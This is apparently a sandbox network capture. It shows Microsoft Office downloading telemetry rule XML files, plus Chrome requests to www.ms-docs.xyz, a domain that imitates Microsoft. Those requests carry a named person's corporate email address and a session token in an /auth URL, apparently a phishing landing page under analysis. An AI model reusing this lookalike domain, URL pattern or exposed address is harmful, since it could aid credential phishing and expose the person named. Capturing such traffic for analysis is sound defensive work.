2024-12-03 14:32:39 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.9	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:40 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:40 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143240Z-174f78459684bddphC1EWRbht400000015pg00000000n1bm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.9	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:40 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:40 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 1cfa5ca7-601e-000d-64b2-422618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143240Z-174f7845968j6t2phC1EWRcfe8000000167000000000cwp0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:41 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.9	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:40 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:40 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 64c010c7-b01e-003e-2ea1-428e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143240Z-174f7845968cpnpfhC1EWR3afc00000015ng00000000eu9y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:41 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.9	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:40 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 4f55dbf3-401e-005b-2250-439c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143241Z-174f7845968px8v7hC1EWR08ng000000166000000000p8ck x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.9	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:41 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:41 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 357a15c2-f01e-001f-47c7-435dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143241Z-174f7845968n2hr8hC1EWR9cag00000015rg000000009vv3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:41 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.9	49805	101.99.88.62	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:42 UTC	886	OUT	GET /auth?email=garythrow@nationaltubesupply.com&sessid=MTczMzIzNjM0MzI4MjU0OTU5ZWFhNTZkNDI5NmZkZDQ5YTk4NGFlMzg0ZmI5NmNmZDFlY2Y1ODllYzBkZDdiZmU5YTJiNjEzZGJiMWZiNjlhMw== HTTP/1.1 Host: www.ms-docs.xyz Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=64164147a0126881c9cba57751d03b4f
2024-12-03 14:32:42 UTC	372	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 03 Dec 2024 14:32:42 GMT Server: Apache Location: https://www.ms-docs.xyz/auth/?email=garythrow@nationaltubesupply.com&sessid=MTczMzIzNjM0MzI4MjU0OTU5ZWFhNTZkNDI5NmZkZDQ5YTk4NGFlMzg0ZmI5NmNmZDFlY2Y1ODllYzBkZDdiZmU5YTJiNjEzZGJiMWZiNjlhMw== Content-Length: 400 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-12-03 14:32:42 UTC	400	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 73 2d 64 6f 63 73 2e 78 79 7a 2f 61 75 74 68 2f 3f 65 6d 61 69 6c 3d 67 61 72 79 74 68 72 6f 77 40 6e 61 74 69 6f 6e 61 6c 74 75 62 65 73 75 70 70 6c 79 2e 63 6f 6d 26 61 6d 70 3b 73 65 73 73 69 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.ms-docs.xyz/auth/?email=garythrow@nationaltubesupply.com&sessi

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.9	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:42 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:42 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:42 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143242Z-174f7845968jrjrxhC1EWRmmrs000000163000000000gxhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:42 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.9	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:42 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:43 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 87286592-701e-0053-7b27-443a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143243Z-174f7845968j6t2phC1EWRcfe800000016ag0000000009dd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:43 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.9	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:42 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:43 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 5eac20d0-301e-0000-09ee-44eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143243Z-174f7845968qj8jrhC1EWRh41s00000015y000000000kpd9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:43 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.9	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:42 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:43 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: db283756-601e-0070-61b4-43a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143243Z-174f7845968pf68xhC1EWRr4h800000016b0000000008xp4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:43 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.9	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:43 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:43 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:43 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: b8dd1d48-d01e-005a-01dc-437fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143243Z-174f78459684bddphC1EWRbht400000015rg00000000gq60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:43 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.9	49811	101.99.88.62	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
